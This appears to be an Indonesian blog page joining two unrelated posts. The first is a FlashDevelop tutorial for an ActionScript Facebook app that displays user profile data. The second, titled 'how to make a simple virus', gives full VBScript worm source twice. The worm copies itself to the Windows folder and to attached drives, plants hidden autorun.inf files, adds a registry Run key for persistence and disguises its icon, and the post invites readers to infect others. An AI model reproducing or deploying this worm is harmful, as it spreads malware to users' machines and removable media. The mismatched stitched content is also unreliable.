Berikutnya kita mempersiapkan pengembangan aplikasinya menggunakan FlashDevelop. Buka FlashDevelop, lalu pilih Project -> New Project, lalu pilih AS3 Project. Beri nama project dengan BeginningFacebookAPI, lalu pilih lokasi project yang anda inginkan. Tekan Ok.
Pertama-tama kita perlu menambahkan library Facebook Actionscript API kedalam project ini. Pilih Project -> Properties.
Pada layar setting BeginningFacebookAPI(AS3), pilih tab Classpaths, lalu klik tombol Add Classpath… Arahkan pada lokasi library Facebook Actionscript API, dalam hal ini di C:/flash/facebook_api/ . Tekan Ok.
Ketikkan script berikut untuk menggantikan semua script yang ada pada file Main.as tersebut.
Code:
package
{
import com.facebook.Facebook;
import com.facebook.events.FacebookEvent;
import com.facebook.net.FacebookCall;
import com.facebook.commands.users.GetInfo;
import com.facebook.utils.FacebookSessionUtil;
import com.facebook.data.FacebookLocation;
import com.facebook.data.users.FacebookUser;
import com.facebook.data.users.GetInfoData;
import com.facebook.data.users.FacebookUserCollection;
import com.facebook.data.users.StatusData;
import flash.display.SimpleButton;
import flash.display.Sprite;
import flash.events.Event;
import flash.events.MouseEvent;
import flash.text.TextField;</li>
</ol>
public class Main extends Sprite
{
public const API_KEY:String = "";
public const SECRET_KEY:String = "";
public var fbook:Facebook;
public var session:FacebookSessionUtil;
public var flashvars:Object;
public var userInfoTxt:TextField;
public var loginTxt:TextField
public function Main():void
{
initInterface();
initFacebook();
}
public function initInterface():void
{
userInfoTxt = new TextField();
addChild(userInfoTxt);
userInfoTxt.width = 400;
userInfoTxt.height = 300;
userInfoTxt.selectable = false;
userInfoTxt.multiline = true;
userInfoTxt.wordWrap = true;
userInfoTxt.text = "Please click 'Connect' button below after Allow the application.";
loginTxt = new TextField();
addChild(loginTxt);
loginTxt.addEventListener(MouseEvent.CLICK, doneValidating);
loginTxt.text = "CONNECT";
loginTxt.border = true;
loginTxt.selectable = false;
loginTxt.width = 65;
loginTxt.height = 20;
loginTxt.x = 20;
loginTxt.y = 40;
}
public function initFacebook():void
{
flashvars = this.root.loaderInfo.parameters;
session=new FacebookSessionUtil(API_KEY, SECRET_KEY, this.root.loaderInfo);
session.addEventListener(FacebookEvent.CONNECT, onConnect);
fbook = session.facebook;
if(flashvars.fb_sig_session_key != null)
{
session.verifySession();
}else
{
session.login();
}
}
public function doneValidating(event:MouseEvent):void
{
session.validateLogin();
}
public function onConnect(e:FacebookEvent):void
{
if(!e.success)
{
session.login();
return ;
}
loginTxt.visible = false;
getUserInfo();
}
public function getUserInfo():void
{
userInfoTxt.text = "Loading user info...";
var call:FacebookCall = fbook.post(new GetInfo([fbook.uid], ['name', 'birthday', 'current_location', 'status']));
call.addEventListener(FacebookEvent.COMPLETE, handleGetInfoResponse);
}
public function handleGetInfoResponse(e:FacebookEvent):void
{
if (e.success)
{
var user:FacebookUser = (e.data as GetInfoData).userCollection.getItemAt(0) as FacebookUser;
var name:String = user.name;
var brithdayDate:String = user.birthday;
var currentLocation:FacebookLocation = user.current_location;
var status:StatusData = user.status;
userInfoTxt.htmlText = "Name: " + name;
userInfoTxt.htmlText += "
Birthday: " + brithdayDate;
userInfoTxt.htmlText += "
Location: " + currentLocation.city;
userInfoTxt.htmlText += "
Status: " + status.message + " at "+ status.time;
}
}
}
}
"CARA MEMBUAT VIRUS SEDERHANA"
Mau coba buat virus atau iseng memasukkan virus?? ada cara gampang.. Kalo viper, itu pake html ini langsung aja pake vbs. Kalo viper membuat windownya banyak jadinya memorinya banyak jadinya lamban. kalo ini dapat menginfeksi.. cara membuatnya dengan mengetikkan kode di bawah ini pada notepad:
Code:
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Andre Susanto"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
Info: KERUSAKAN ATAU DAMPAK DITANGGUNG OLEH PEMAKAI.
Code:
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Andre Susanto"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
Info: KERUSAKAN ATAU DAMPAK DITANGGUNG OLEH PEMAKAI.
Langganan:
Postingan (Atom)